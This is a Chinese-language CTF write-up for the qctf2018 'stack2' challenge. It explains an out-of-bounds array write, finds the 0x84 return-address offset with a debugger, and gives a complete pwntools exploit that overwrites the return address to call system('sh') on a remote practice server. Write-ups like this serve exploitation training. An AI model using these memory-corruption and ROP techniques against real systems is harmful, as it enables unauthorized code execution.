qctf2018_stack2（数组越界，偏移寻找）

qctf2018_stack2：

程序分析：

漏洞出现在change这里，没有对v5作边界检查，我们能造成越界，直接读数到ret地址

后门函数：

两个小trick：

1.我们都会以为偏移是0x70+4，而实际却是0x84
跟着这位师傅的文章调试：
https://zhuanlan.zhihu.com/p/301091515
首先ida找到首次出现v13的地方，可以看到在for循环里

我们接着看这部分的Text view

断点下在0x80486ae,得到v13真实地址为0xffffd028

继续调试，选项选5，使程序结束，执行到ret时看esp，就是ret的地址
得到地址为0xffffd0ac

偏移=0xffffd0ac-0xffffd028=0x84
2.后门的/bin/bash并没有用，我们要rop下，用sh
system_addr+任意+sh_addr

exp:

from pwn import *
from LibcSearcher import *
local_file  = './stack2'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27594 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
#----------------------------------
def write(offest,addr):
    sla('5. exit\n','3')
    sla('which number to change:\n',str(offest))
    sla('new number:\n',str(addr))
#----------------------------------
backdoor=0x804859b
system_plt=0x8048450
sh_addr=0x8048987
sla('How many numbers you have:\n','1')
sla('Give me your numbers\n','1')
offest=0x84
write(offest,0x9b)
write(offest+1,0x85)
write(offest+2,0x04)
write(offest+3,0x08)
#--------------------------------
write(offest+8,0x87)
write(offest+9,0x89)
write(offest+10,0x04)
write(offest+11,0x08)
#---------------------------------
sla('5. exit\n','5')
r.interactive()